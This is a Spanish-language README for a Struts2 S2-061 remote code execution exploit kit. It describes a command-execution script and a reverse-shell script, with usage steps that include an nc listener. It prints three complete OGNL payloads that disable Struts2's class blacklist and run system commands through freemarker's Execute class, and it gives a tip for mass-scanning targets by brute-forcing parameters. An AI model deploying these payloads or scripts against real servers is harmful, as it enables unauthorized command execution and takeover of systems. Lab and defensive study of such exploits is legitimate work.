
Payload de S2-061, y PoC/Exp simple correspondiente.
S2-061
Todos los scripts están escritos basados en el entorno de prueba de vulnerabilidades struts2-059/061 de vulhub, no son universales, espero que los expertos me den consejos.
struts2-061-poc.py (puede ejecutar comandos simples del sistema)
Uso: python struts2-061-poc.py http://ip:port command
Ejemplo: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (puede obtener una reverse shell)
Uso:
Primero, en una máquina A, escuche en un puerto específico (por ejemplo: nc -lvvp 7777)
Ejecute el script: python2 S2-061-shell.py target_url, donde target_url es la dirección del entorno vulnerable, en el formato http://ip:port
Según las indicaciones del script, ingrese la IP de la máquina A y el puerto en escucha, y obtendrá una shell en la ventana de escucha de la máquina A.
A continuación se presentan los payloads creados por algunos expertos:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Artículo de análisis completo: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
Nota: Por favor, codifique el código OGNL anterior con URL antes de usarlo en la herramienta.
En las nuevas versiones de Struts2, ya no es posible analizar expresiones OGNL mediante la construcción de parámetros. Por lo tanto, si se desea utilizar un script para escanear de forma masiva si existe esta vulnerabilidad, se puede considerar forzar todos los parámetros y luego verificar si la página contiene el texto de resultado esperado.
Ej:
%{ 'gcowsec-' + (2000 + 20).toString()}
Se espera obtener
gcowsec-2020
Simplemente use el script para determinar si el resultado lo contiene.